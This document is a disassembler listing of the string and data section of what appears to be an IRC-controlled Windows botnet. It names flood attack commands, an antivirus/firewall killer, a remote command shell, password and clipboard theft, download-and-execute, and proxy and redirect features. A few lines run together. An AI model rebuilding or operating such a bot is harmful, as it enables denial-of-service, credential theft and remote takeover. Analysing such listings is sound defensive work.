aFileRenameSToS	db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
					; DATA XREF: sub_408A18+2DAFo
		align 4
aIcmpInvalidFlo	db '[ICMP]: Invalid flood time must be greater than 0.',0
					; DATA XREF: sub_408A18+2D66o
		align 4
aIcmpFailedToSt	db '[ICMP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_408A18+2D3Eo
		align 10h
aIcmpFloodingSF	db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: sub_408A18+2CCEo
		align 4
aClonesFailedTo	db '[CLONES]: Failed to start clone thread, error: <%d>.',0
					; DATA XREF: sub_408A18+2C42o
		align 10h
aClonesCreatedO	db '[CLONES]: Created on %s:%d, in channel %s.',0
					; DATA XREF: sub_408A18+2BDFo
		align 4
aDdosFailedToSt	db '[DDoS]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_408A18+2B2Fo
		align 10h
aDdosFloodingSS	db '[DDoS]: Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_408A18+2AC5o
		align 4
aSynFailedToSta	db '[SYN]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_408A18+2A31o
		align 10h
aSynFloodingSSF	db '[SYN]: Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: sub_408A18+29C7o
		align 4
aDownloadFailed	db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0
					; DATA XREF: sub_408A18+291Fo
		align 4
aDownloadDown_1	db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: sub_408A18+28C0o
aRedirectFailed	db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0
					; DATA XREF: sub_408A18+27A2o
		align 10h
aRedirectTcpRed	db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0
					; DATA XREF: sub_408A18+2747o
aScanFailedTo_0	db '[SCAN]: Failed to start scan thread, error: <%d>.',0
					; DATA XREF: sub_408A18+26A5o
					; sub_408A18+405Co ...
		align 4
aScanPortScanSt	db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0
					; DATA XREF: sub_408A18+264Ao
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_408A18+25C4o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_408A18+24A9o
		align 4
dword_426F84	dd 54434101h, 204E4F49h, 17325h					; sub_408A18+35B6o
dword_426F90	dd 615F63h	aC_action	db 'c_action',0         ; DATA XREF: sub_408A18+2384o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_408A18+2370o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_408A18+235Co
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_408A18+2348o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_408A18+2334o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_408A18+2320o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_408A18+230Co
		align 10h
aDl		db 'dl',0               ; DATA XREF: sub_408A18+22F8o
		align 4
aDownload	db 'download',0         ; DATA XREF: sub_408A18+22E4o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_408A18+22D0o
					; sub_408A18+525Fo ...
aSynflood	db 'synflood',0         ; DATA XREF: sub_408A18+22BCo
		align 10h
aC:					; DATA XREF: sub_408A18+226Co
					; sub_413FFD+73o
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_408A18+2258o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_408A18+2232o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_408A18+221Eo
		align 10h
aMv		db 'mv',0               ; DATA XREF: sub_408A18+220Ao
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_408A18+21F6o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_408A18+21E2o
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_408A18+21CEo
		align 4
aE:					; DATA XREF: sub_408A18+21BAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_408A18+21A6o
aUpdate		db 'update',0           ; DATA XREF: sub_408A18+217Eo
		align 10h
aDe		db 'de',0               ; DATA XREF: sub_408A18+216Ao
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_408A18+2156o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_408A18+2142o
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: sub_408A18+212Eo
					; sub_408A18+3249o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_408A18+211Ao
aC_part		db 'c_part',0           ; DATA XREF: sub_408A18+2106o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_408A18+20F2o
aC_join		db 'c_join',0           ; DATA XREF: sub_408A18+20DEo
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_408A18+20CAo
aC_nick		db 'c_nick',0           ; DATA XREF: sub_408A18+20B6o
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_408A18+20A2o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_408A18+208Eo
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_408A18+207Ao
aC_raw		db 'c_raw',0            ; DATA XREF: sub_408A18+2066o
		align 4
aM:					; DATA XREF: sub_408A18+2052o
		unicode	0, <m>,0
aMode		db 'mode',0             ; DATA XREF: sub_408A18+203Eo
		align 10h
aCy		db 'cy',0               ; DATA XREF: sub_408A18+202Ao
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_408A18+2016o
		align 4
aA_1:					; DATA XREF: sub_408A18+2002o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_408A18+1FEEo
		align 4
aPm_0		db 'pm',0               ; DATA XREF: sub_408A18+1FDAo
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_408A18+1FC6o
aAa		db 'aa',0               ; DATA XREF: sub_408A18+1FB2o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_408A18+1F9Eo
		align 4
aAvfwFailedToSt	db '[AVFW]: Failed to start AV/FW killer thread, error: <%d>.',0
					; DATA XREF: sub_408A18+1F26o
		align 10h
aAvfw		db '[AVFW]',0           ; DATA XREF: sub_408A18+1ECCo
					; sub_408A18+1F7Eo
		align 4
aKillerThread	db 'Killer Thread',0    ; DATA XREF: sub_408A18+1EC7o
					; sub_408A18+1F79o
		align 4
aAvfwAvFwBotKil	db '[AVFW]: AV/FW/BOT Killer active.',0 ; DATA XREF: sub_408A18+1EB1o
		align 4
aAvfwkiller	db 'avfwkiller',0       ; DATA XREF: sub_408A18+1E86o
		align 4
aGh		db 'gh',0               ; DATA XREF: sub_408A18+1E72o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_408A18+1E5Eo
aNetCommandUnkn	db '[NET]: Command unknown.',0 ; DATA XREF: sub_408A18:loc_40A862o
aNetNoMessageSp	db '[NET]: No message specified.',0 ; DATA XREF: sub_408A18:loc_40A85Bo
		align 4
aNetUserListFai	db '[NET]: User list failed.',0 ; DATA XREF: sub_408A18:loc_40A80Eo
		align 4
aNetUserListCom	db '[NET]: User list completed.',0 ; DATA XREF: sub_408A18+1DECo
aNetShareListFa	db '[NET]: Share list failed.',0 ; DATA XREF: sub_408A18:loc_40A76Co
		align 10h
aNetShareListCo	db '[NET]: Share list completed.',0 ; DATA XREF: sub_408A18+1D4Ao
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_408A18+1CDEo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_408A18+1CAAo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_408A18+1C93o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_408A18+1C7Co
					; sub_408A18+1F60o
		align 4
aNetServiceLi_0	db '[NET]: Service list failed.',0 ; DATA XREF: sub_408A18:loc_40A686o
aNetServiceList	db '[NET]: Service list completed.',0 ; DATA XREF: sub_408A18+1C64o
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_408A18+1C11o
					; sub_408A18+1E9Bo
		align 4
aNetFailedToLoa	db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0
					; DATA XREF: sub_408A18+1BD7o
aNet		db 'net',0              ; DATA XREF: sub_408A18+1BB5o
aRf		db 'rf',0               ; DATA XREF: sub_408A18+1BA1o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_408A18+1B8Do
		align 10h
aCm		db 'cm',0               ; DATA XREF: sub_408A18+1B79o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_408A18+1B65o
aMirc		db 'mirc',0             ; DATA XREF: sub_408A18+1B51o
		align 10h
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_408A18+1B3Do
aLi		db 'li',0               ; DATA XREF: sub_408A18+1B29o
		align 4
aList_0		db 'list',0             ; DATA XREF: sub_408A18+1B15o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_408A18+1B01o
aDelete		db 'delete',0           ; DATA XREF: sub_408A18+1AEDo
					; sub_408A18+1CC4o
		align 10h
aKi		db 'ki',0               ; DATA XREF: sub_408A18+1AD9o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_408A18+1AC5o
		align 4
aKdp		db 'kdp',0              ; DATA XREF: sub_408A18+1AB1o
aKilldelproc	db 'killdelproc',0      ; DATA XREF: sub_408A18+1A9Do
aKp		db 'kp',0               ; DATA XREF: sub_408A18+1A89o
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: sub_408A18+1A75o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_408A18+1A61o
		align 10h
aDns		db 'dns',0              ; DATA XREF: sub_408A18+1A4Do
aSe		db 'se',0               ; DATA XREF: sub_408A18+1A39o
		align 4
aO:					; DATA XREF: sub_408A18+1A11o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_408A18+19FDo
					; sub_408A18+3B09o ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_408A18+19E9o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_408A18+19D5o
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_408A18+19C1o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_408A18+19ADo
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_408A18+1999o
aC_quit		db 'c_quit',0           ; DATA XREF: sub_408A18+1985o
		align 10h
aK:					; DATA XREF: sub_408A18+1971o
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_408A18+195Do
		align 10h
aRaw		db 'raw',0              ; DATA XREF: sub_408A18+1935o
aPt		db 'pt',0               ; DATA XREF: sub_408A18+1921o
		align 4
aPart_0		db 'part',0             ; DATA XREF: sub_408A18+190Do
		align 10h
aJ:					; DATA XREF: sub_408A18+18F9o
		unicode	0, <j>,0
aJoin		db 'join',0             ; DATA XREF: sub_408A18+18E5o
		align 4
aN:					; DATA XREF: sub_408A18+18D1o
		unicode	0, <n>,0
aNick_0		db 'nick',0             ; DATA XREF: sub_408A18+18BDo
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_408A18+1883o
aFp		db 'fp',0               ; DATA XREF: sub_408A18+186Fo
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_408A18+185Bo
		align 10h
aTftp		db 'tftp',0             ; DATA XREF: sub_408A18+1847o
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_408A18+1833o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_408A18+181Fo
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_408A18+180Bo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_408A18+17F7o
		align 10h
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_408A18+17E3o
		align 10h
aCip		db 'cip',0              ; DATA XREF: sub_408A18+17CFo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_408A18+17BBo
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: sub_408A18+17A7o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_408A18+1793o
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_408A18+177Fo
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_408A18+176Bo
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_408A18+1757o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_408A18+1743o
aEmailMessageSe	db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: sub_408A18+16F9o
		align 8
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_408A18+1678o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: sub_408A18+15D8o
		unicode	0, <_>,0
aEmail		db 'email',0            ; DATA XREF: sub_408A18+156Do
		align 10h
aTcp		db 'tcp',0              ; DATA XREF: sub_408A18+1559o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_408A18+1545o
		align 10h
aP:					; DATA XREF: sub_408A18+1531o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_408A18+151Do
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_408A18+1509o
		align 4
aU:					; DATA XREF: sub_408A18+14F5o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_408A18+14E1o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_408A18+14CDo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_408A18+14B9o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_408A18+14A5o
aMainLoginListC	db '[MAIN]: Login list complete.',0 ; DATA XREF: sub_408A18+1481o
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_408A18+144Do
					; sub_4124DC+46o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_408A18+1440o
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_408A18+141Do
		align 4
aWho		db 'who',0              ; DATA XREF: sub_408A18+1404o
aCmd_0		db '[CMD]',0            ; DATA XREF: sub_408A18+13F6o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_408A18+13F1o
		align 4
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_408A18+13DCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_408A18+13C8o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_408A18+13B4o
aDll		db 'dll',0              ; DATA XREF: sub_408A18+13A0o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_408A18+138Co
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_408A18+1378o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_408A18+1364o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_408A18+1350o
					; sub_408A18+2192o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_408A18+133Co
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_408A18+1328o
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_408A18+1314o
		align 4
aErradicate	db 'erradicate',0       ; DATA XREF: sub_408A18+1300o
		align 10h
aDestroy	db 'destroy',0          ; DATA XREF: sub_408A18+12ECo
aSi		db 'si',0               ; DATA XREF: sub_408A18+12D8o
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_408A18+12C4o
aNi		db 'ni',0               ; DATA XREF: sub_408A18+12B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_408A18+129Co
aClg		db 'clg',0              ; DATA XREF: sub_408A18+1288o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_408A18+1274o
		align 10h
aLg		db 'lg',0               ; DATA XREF: sub_408A18+1260o
		align 4
aLog_0		db 'log',0              ; DATA XREF: sub_408A18+124Co
aAl		db 'al',0               ; DATA XREF: sub_408A18+1238o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_408A18+1224o
aT:					; DATA XREF: sub_408A18+1210o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_408A18+11FCo
aMainFailedToRe	db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: sub_408A18+11C4o
		align 4
aMainRebootingS	db '[MAIN]: Rebooting system.',0 ; DATA XREF: sub_408A18+11BDo
		align 10h
aReboot		db 'reboot',0           ; DATA XREF: sub_408A18+11AAo
		align 4
aI_0:					; DATA XREF: sub_408A18+1196o
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_408A18+1182o
		align 10h
aS_4:					; DATA XREF: sub_408A18+116Eo
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_408A18+115Ao
		align 4
aQ:					; DATA XREF: sub_408A18+1146o
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_408A18+1132o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_408A18+111Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_408A18+110Ao
		align 4
aR:					; DATA XREF: sub_408A18+10F6o
					; sub_408A18+1949o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_408A18+10E2o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_408A18+10CEo
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_408A18+10BAo
		align 4
aScan_0		db '[SCAN]',0           ; DATA XREF: sub_408A18+10ACo
					; sub_408A18+588Fo
		align 4
aScan_1		db 'Scan',0             ; DATA XREF: sub_408A18+10A7o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_408A18+1092o
		align 4
aSecure_1	db '[SECURE]',0         ; DATA XREF: sub_408A18+1084o
		align 4
aSecure_0	db 'Secure',0           ; DATA XREF: sub_408A18+107Fo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_408A18+106Ao
		align 4
aClones		db '[CLONES]',0         ; DATA XREF: sub_408A18+105Co
		align 4
aClone		db 'Clone',0            ; DATA XREF: sub_408A18+1057o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_408A18+1042o
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_408A18+102Eo
		align 10h
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_408A18+101Ao
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_408A18+1006o
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_408A18+FF2o
		align 4
aTftp_0		db '[TFTP]',0           ; DATA XREF: sub_408A18+FE4o
		align 4
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_408A18+FCAo
		align 4
aTcpFlood	db 'TCP flood',0        ; DATA XREF: sub_408A18+FBFo
		align 4
aTcpstop	db 'tcpstop',0          ; DATA XREF: sub_408A18+FAAo
aIcmp_0		db '[ICMP]',0           ; DATA XREF: sub_408A18:loc_4099B4o
		align 4
aIcmpFlood	db 'ICMP flood',0       ; DATA XREF: sub_408A18+F97o
		align 10h
aIcmpstop	db 'icmpstop',0         ; DATA XREF: sub_408A18+F82o
		align 4
aPing_1		db '[PING]',0           ; DATA XREF: sub_408A18+F74o
		align 4
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_408A18+F6Fo
		align 10h
aPingstop	db 'pingstop',0         ; DATA XREF: sub_408A18+F5Ao
		align 4
aUpd		db '[UPD]',0            ; DATA XREF: sub_408A18+F4Co
		align 4
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_408A18+F47o
		align 10h
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_408A18+F32o
aSyn_0		db '[SYN]',0            ; DATA XREF: sub_408A18+F24o
		align 10h
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_408A18+F1Fo
		align 4
aSynstop	db 'synstop',0          ; DATA XREF: sub_408A18+F0Ao
aDdos		db '[DDoS]',0           ; DATA XREF: sub_408A18+EFCo
		align 4
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_408A18+EF7o
		align 4
aDdos_stop	db 'ddos.stop',0        ; DATA XREF: sub_408A18+EE2o
		align 4
aRedirect_0	db '[REDIRECT]',0       ; DATA XREF: sub_408A18+ED4o
		align 10h
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_408A18+ECFo
		align 10h
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_408A18+EBAo
		align 10h
aLog		db '[LOG]',0            ; DATA XREF: sub_408A18+EACo
		align 4
aLogList	db 'Log list',0         ; DATA XREF: sub_408A18+EA7o
		align 4
aLogstop	db 'logstop',0          ; DATA XREF: sub_408A18+E92o
aHttpd		db '[HTTPD]',0          ; DATA XREF: sub_408A18+E84o
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_408A18+E6Ao
		align 10h
aRlogind	db '[RLOGIND]',0        ; DATA XREF: sub_408A18+E5Co
		align 4
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_408A18+E42o
		align 4
aSocks4_0	db '[SOCKS4]',0         ; DATA XREF: sub_408A18+E34o
		align 4
aServer_0	db 'Server',0           ; DATA XREF: sub_408A18+E2Fo
					; sub_408A18+E57o ...
		align 4
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_408A18+E1Ao
		align 4
aS4		db 's4',0               ; DATA XREF: sub_408A18+E06o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_408A18+DF2o
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_408A18+DDEo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_408A18+DCAo
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_408A18+DB6o
					; sub_408A18+4E2Ao
aSecure		db 'secure',0           ; DATA XREF: sub_408A18+DA2o
					; sub_408A18+4E1Ao
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_408A18+D8Eo
aVersion	db 'version',0          ; DATA XREF: sub_408A18+D7Ao
aLo		db 'lo',0               ; DATA XREF: sub_408A18+D66o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_408A18+D52o
		align 4
aD:					; DATA XREF: sub_408A18+D3Eo
					; sub_413FFD+7Ao
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_408A18+D2Ao
aRn		db 'rn',0               ; DATA XREF: sub_408A18+D16o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_408A18+CFFo
a63		db '63',0               ; DATA XREF: sub_408A18+BE1o
		align 4
asc_4278D4:				; DATA XREF: sub_408A18+BB9o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_408A18+B81o
		align 10h
aServer_1	db '$server',0          ; DATA XREF: sub_408A18+B76o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_408A18+B65o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_408A18+B47o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_408A18+B36o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_408A18+B24o
aD_0		db '$%d',0              ; DATA XREF: sub_408A18+ABBo
aD_1		db '$%d-',0             ; DATA XREF: sub_408A18+A08o
		align 4
dword_427914	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_408A18+96Eo
		dd 0A0Dh
dword_42792C	dd 4E495001h, 47hdword_427934	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_408A18+931o
		dd 0D017325h, 0Ah
dword_427950	dd 52455601h, 4E4F4953h, 1dword_42795C	dd 23h		dword_427960	dd 6Ch		dword_427964	dd 323333h						; sub_408A18+7E9o ...
aMainJoinedChan	db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: sub_408A18+6F0o
aMainUserSLog_0	db '[MAIN]: User: %s logged out.',0 ; DATA XREF: sub_408A18+690o
		align 4
a353		db '353',0              ; DATA XREF: sub_408A18+63Eo
aPart		db 'PART',0             ; DATA XREF: sub_408A18+5C2o
		align 10h
aSS_3		db ':%s%s',0            ; DATA XREF: sub_408A18+593o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_408A18+3E4o
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_408A18+370o
					; sub_408A18+6CEo
aMainUserSLogge	db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_408A18+357o
					; sub_408A18+4F68o ...
aKick		db 'KICK',0             ; DATA XREF: sub_408A18+2D7o
		align 4
aNickS_0	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_408A18+26Eo
					; sub_408A18+3D80o ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_408A18+24Bo
a@:					; DATA XREF: sub_408A18+222o
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_408A18+215o
a005		db '005',0              ; DATA XREF: sub_408A18+202o
a001		db '001',0              ; DATA XREF: sub_408A18+1EFo
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_408A18+1D2o
					; sub_408A18+354Eo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_408A18+1B0o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_408A18+19Ao
		align 4
asc_427A38:				; DATA XREF: sub_408A18+188o
					; sub_408A18+5B44o
		unicode	0, <!>,0
aSecureSystemSe	db '[SECURE]: System secure monitor active.',0 ; DATA XREF: sub_40E745+38Fo
aMainBotStarted	db '[MAIN]: Bot started.',0 ; DATA XREF: sub_40E745+356o
		align 4
aSDS		db '%s %d "%s"',0       ; DATA XREF: sub_40E745+286o
		align 4
aRedirectFail_0	db '[REDIRECT]: Failed to start connection thread, error: <%d>.',0
					; DATA XREF: sub_40ED35+153o
aRedirectClient	db '[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_40ED35+DBo
		align 4
aRedirectFail_1	db '[REDIRECT]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_40EF12+13Fo
		align 10h
aRedirectClie_0	db '[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_40EF12+DDo
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40F101+35o
aCmdCouldNotR_0	db '[CMD]: Could not read data from proccess.',0Dh,0Ah,0
					; DATA XREF: sub_40F18F:loc_40F2F3o
aCmdProccessHas	db '[CMD]: Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_40F18F+141o
		align 4
aCmdCouldNotRea	db '[CMD]: Could not read data from proccess',0Dh,0Ah,0
					; DATA XREF: sub_40F18F:loc_40F29Eo
		align 10h
aCmdFailedToSta	db '[CMD]: Failed to start IO thread, error: <%d>.',0
					; DATA XREF: sub_40F31C+18Eo
		align 10h
aCmdRemoteComma	db '[CMD]: Remote Command Prompt',0 ; DATA XREF: sub_40F31C+146o
		align 10h
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40F31C+1Fo
aRlogindProtoco	db '[RLOGIND]: Protocol string too long.',0
					; DATA XREF: sub_40F4CB:loc_40F4FDo
		align 10h
aRlogindLoginRe	db '[RLOGIND]: Login rejected, Remote user: <%s@%s>.',0
					; DATA XREF: sub_40F516+39o
		align 4
aRlogindUserL_0	db '[RLOGIND]: User logged out: <%s@%s>.',0 ; DATA XREF: sub_40F563+1EFo
		align 4
aRlogindErrorSe	db '[RLOGIND]: Error: SessionRun(): <%d>.',0 ; DATA XREF: sub_40F563+1CFo
		align 4
aRlogindUserLog	db '[RLOGIND]: User logged in: <%s@%s>.',0 ; DATA XREF: sub_40F563+1AFo
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_40F563+184o
		align 4
aRlogindErrorGe	db '[RLOGIND]: Error: getpeername(): <%d>.',0 ; DATA XREF: sub_40F563+F4o
		align 4
aRlogindError_0	db '[RLOGIND]: Error: server failed, returned: <%d>.',0
					; DATA XREF: sub_40F76F+215o
		align 4
aRlogindFaile_1	db '[RLOGIND]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_40F76F+1C9o
		align 10h
aRlogindClientC	db '[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_40F76F+158o
aRlogindReadyAn	db '[RLOGIND]: Ready and waiting for incoming connections.',0
					; DATA XREF: sub_40F76F+FFo
		align 4
aRlogindFaile_0	db '[RLOGIND]: Failed to install control-C handler, error: <%d>.',0
					; DATA XREF: sub_40F76F+70o
		align 4
aRlogindErrorWs	db '[RLOGIND]: Error: WSAStartup(): <%d>.',0 ; DATA XREF: sub_40F76F+3Eo
		align 10h
aSI		db '%s%i',0             ; DATA XREF: sub_40F9EB+40o
					; .text:0040FAE6o ...
		align 4
aPc		db 'PC',0               ; DATA XREF: .text:0040FAB4o
		align 4
aS_7		db '[%s]',0             ; DATA XREF: .text:0040FC1Co
		align 4
a???		db '???',0              ; DATA XREF: .text:loc_40FC13o
					; sub_41175C:loc_4117FDo
a2k3		db '2K3',0              ; DATA XREF: .text:0040FC0Co
aXp_0		db 'XP',0               ; DATA XREF: .text:0040FC01o
					; sub_41175C+8Bo
		align 10h
a2k		db '2K',0               ; DATA XREF: .text:0040FBF4o
					; sub_41175C+7Co
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .text:0040FBE1o
					; sub_41175C+68o
		align 4
a98		db '98',0               ; DATA XREF: .text:0040FBD4o
					; sub_41175C+59o
		align 4
aNt		db 'NT',0               ; DATA XREF: .text:0040FBC7o
					; sub_41175C+4Ao
		align 10h
